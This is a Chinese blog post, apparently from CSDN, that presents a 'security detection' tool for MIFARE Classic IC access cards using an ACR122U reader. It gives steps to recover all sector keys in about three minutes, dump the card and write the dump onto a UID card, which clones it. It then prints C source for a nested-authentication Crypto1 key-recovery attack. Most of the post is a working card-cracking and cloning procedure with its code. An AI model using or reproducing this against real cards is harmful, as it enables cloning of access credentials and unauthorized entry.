安防人必备神器,IC卡安全极速探测工具。

        从磁条卡到ID卡再到IC卡,安全性能不断提升,但现在连CPU卡都被破解了。作为设备厂家,我们需要不断提高自身的安全性能,对抗市面上各种解密设备。只有深入了解漏洞,才能更好地保护我们的用户信息。本文提供了一份针对漏洞IC卡的安全性能探测代码,使用ACR122U-A9硬件,IC卡加密了1到14扇区。然而,整个破解过程不超过3分钟,这再次说明了IC卡全扇区加密的重要性。我们必须不断提高自身的技术水平,以保护用户信息的安全。

连接ACR122U-A9读卡器,安装读卡器驱动程序,放上要探测的IC卡。

双击 ConsoleApplication1.exe程序开始运行。
等待3分钟左右程序运行完毕:

 

可看到IC卡各扇区各块的密钥。

软件目录生成一个带有卡片全部信息的文件。
打开UID卡读写软件,发卡器上放置UID卡。

 点击连接读卡器,连接卡片,导入文件,点击写卡即可。
附上软件核心代码提供参考:

//! MiFare cracking, nested authentication, recover key, distance keys
/** @param e_sector Exploit sector (where the key is known from)
 * @param a_sector The sector to crack
 * @param t The mifare tag
 * @param r The mifare reader
 * @param d Revealed information about the nonce
 * @param pk Possible Keys
 * @param mode 'r' for recovery, 'd' for distance
 * @param dumpKeysA Crack key A
 * @return 0
 */
uint32_t mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce* d, pKeys* pk, char mode, bool dumpKeysA, void (*UpdateStatusMessage)(const char* status)) {
	struct Crypto1State* pcs;
	struct Crypto1State* revstate;
	struct Crypto1State* revstate_start;

	uint64_t lfsr;

	// Possible key counter, just continue with a previous "session"
	uint32_t kcount = pk->size;

	uint32_t Nt;
	uint8_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
	uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
	uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
	uint8_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };

	uint8_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
	uint8_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };

	uint8_t Rx[MAX_FRAME_LEN]; // Tag response
	uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
	size_t RxLen;

	uint32_t NtLast, NtProbe, NtEnc, Ks1, m;

	int i;

	// Prepare AUTH command
	Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
	append_iso14443a_crc(Auth, 2);

	// We need full control over the CRC
	if (!nfc_configure(r.pdi, NDO_HANDLE_CRC, false)) {
		nfc_perror(r.pdi, "nfc_configure");
		
		return 0;
	}

	// Request plain tag-nonce

	if (!nfc_configure(r.pdi, NDO_EASY_FRAMING, false)) {
		nfc_perror(r.pdi, "nfc_configure");
		
		return 0;
	}

	if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
		UpdateStatusMessage("Error while requesting plain tag-nonce.");
		
		return 0;
	}

	if (!nfc_configure(r.pdi, NDO_EASY_FRAMING, true)) {
		nfc_perror(r.pdi, "nfc_configure");
		
		return 0;
	}

	// Save the tag nonce (Nt)
	Nt = bytes_to_num32(Rx, 4);

	// Init the cipher with key {0..47} bits
	if (t.sectors[e_sector].foundKeyA)
		pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyA, 6));
	else
		pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyB, 6));

	// Load (plain) uid^nt into the cipher {48..79} bits
	crypto1_word(pcs, bytes_to_num32(Rx, 4) ^ t.uid, 0);

	// Generate (encrypted) nr+parity by loading it into the cipher
	for (i = 0; i < 4; i++) {
		// Load in, and encrypt the reader nonce (Nr)
		ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
		ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
	}
	// Skip 32 bits in the pseudo random generator
	Nt = prng_successor(Nt, 32);
	// Generate reader-answer from tag-nonce
	for (i = 4; i < 8; i++) {
		// Get the next random byte
		Nt = prng_successor(Nt, 8);
		// Encrypt the reader-answer (Nt' = suc2(Nt))
		ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt & 0xff);
		ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
	}

	// Finally we want to send arbitrary parity bits
	nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);

	// Transmit reader-answer
	if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (32 != RxLen)) {
		UpdateStatusMessage("Reader-answer transfer error, exiting..");
		return 0;
	}

	// Decrypt the tag answer and verify that suc3(Nt) is At
	Nt = prng_successor(Nt, 32);
	if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num32(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
		UpdateStatusMessage("[At] is not Suc3(Nt), something is wrong, exiting..");
		return 0;
	}

	// If we are in "Get Recovery" mode
	if ('r' == mode) {
		// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
		Auth[0] = dumpKeysA ? 0x60 : 0x61;
		Auth[1] = a_sector;
		append_iso14443a_crc(Auth, 2);

		// Encryption of the Auth command, sending the Auth command
		for (i = 0; i < 4; i++) {
			AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
			// Encrypt the parity bits with the 4 plaintext bytes
			AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
		}
		if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, &RxLen, RxPar)) {
			UpdateStatusMessage("Error requesting encrypted tag-nonce.");
			return 0;
		}

		// Save the encrypted nonce
		NtEnc = bytes_to_num32(Rx, 4);

		// Parity validity check
		for (i = 0; i < 3; ++i)
			d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);


		// Iterate over Nt-x, Nt+x
		// fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
		NtProbe = prng_successor(Nt, d->median - d->tolerance);
		for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) {

			// Try to recover the keystream1 
			Ks1 = NtEnc ^ NtProbe;

			// Skip this nonce after invalid 3b parity check
			revstate_start = NULL;
			//int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t * parity) {
			if ((odd_parity((NtProbe >> 24) & 0xFF) == ((d->parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \
				(odd_parity((NtProbe >> 16) & 0xFF) == ((d->parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \
				(odd_parity((NtProbe >> 8) & 0xFF) == ((d->parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) {
				//if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
				// And finally recover the first 32 bits of the key
				revstate = lfsr_recovery32(Ks1, NtProbe ^ t.uid);
				if (NULL == revstate_start)
					revstate_start = revstate;

				while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
					lfsr_rollback_word(revstate, NtProbe ^ t.uid, 0);
					crypto1_get_lfsr(revstate, &lfsr);
					// Allocate a new space for keys
					if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
						pk->size += MEM_CHUNK;
						// fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
						pk->possibleKeys = (uint64_t*)realloc((void*)pk->possibleKeys, pk->size * sizeof(uint64_t));
						if (NULL == pk->possibleKeys) {
							UpdateStatusMessage("Memory allocation error for pk->possibleKeys.");
							
							return 0;
						}
					}
					pk->possibleKeys[kcount] = lfsr;
					kcount++;
					revstate++;
				}
				free(revstate_start);
			}
			NtProbe = prng_successor(NtProbe, 2);
		}
		// Truncate
		if (0 != kcount) {
			pk->size = --kcount;
			if (NULL == (pk->possibleKeys = (uint64_t*)realloc((void*)pk->possibleKeys, pk->size * sizeof(uint64_t)))) {
				UpdateStatusMessage("Memory allocation error for pk->possibleKeys.");
				
				return 0;
			}
		}
	} // If we are in recovery mode

	// If we are in "Get Distances" mode
	else if ('d' == mode) {
		for (m = 0; m < d->num_distances; m++) {
			// Encrypt Auth command with the current keystream
			for (i = 0; i < 4; i++) {
				AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
				// Encrypt the parity bits with the 4 plaintext bytes
				AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
			}

			// Sending the encrypted Auth command
			if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, &RxLen, RxPar)) {
				UpdateStatusMessage("Error requesting encrypted tag-nonce.");
				
				return 0;
			}

			// Decrypt the encrypted auth 
			if (t.sectors[e_sector].foundKeyA) {
				pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyA, 6));
			}
			else {
				pcs = crypto1_create(bytes_to_num64(t.sectors[e_sector].KeyB, 6));
			}
			NtLast = bytes_to_num32(Rx, 4) ^ crypto1_word(pcs, bytes_to_num32(Rx, 4) ^ t.uid, 1);

			// Save the determined nonces distance
			d->distances[m] = nonce_distance(Nt, NtLast);

			// Again, prepare and send {At}
			for (i = 0; i < 4; i++) {
				ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
				ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
			}
			Nt = prng_successor(NtLast, 32);
			for (i = 4; i < 8; i++) {
				Nt = prng_successor(Nt, 8);
				ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt & 0xFF);
				ArEncPar[i] = filter(pcs->odd) ^ oddparity((uint8_t)Nt);
			}
			nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);
			if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
				UpdateStatusMessage("Reader-answer transfer error, exiting..");
				
				return 0;
			}
			Nt = prng_successor(Nt, 32);
			if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num32(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
				UpdateStatusMessage("[At] is not Suc3(Nt), something is wrong, exiting..");
				
				return 0;
			}
		} // Next auth probe

		// Find median from all distances
		d->median = median(*d);
		//fprintf(stdout, "Median: %05d\n", d->median);
	} // The end of Get Distances mode

	crypto1_destroy(pcs);
	return 0;
}

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

二月刀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值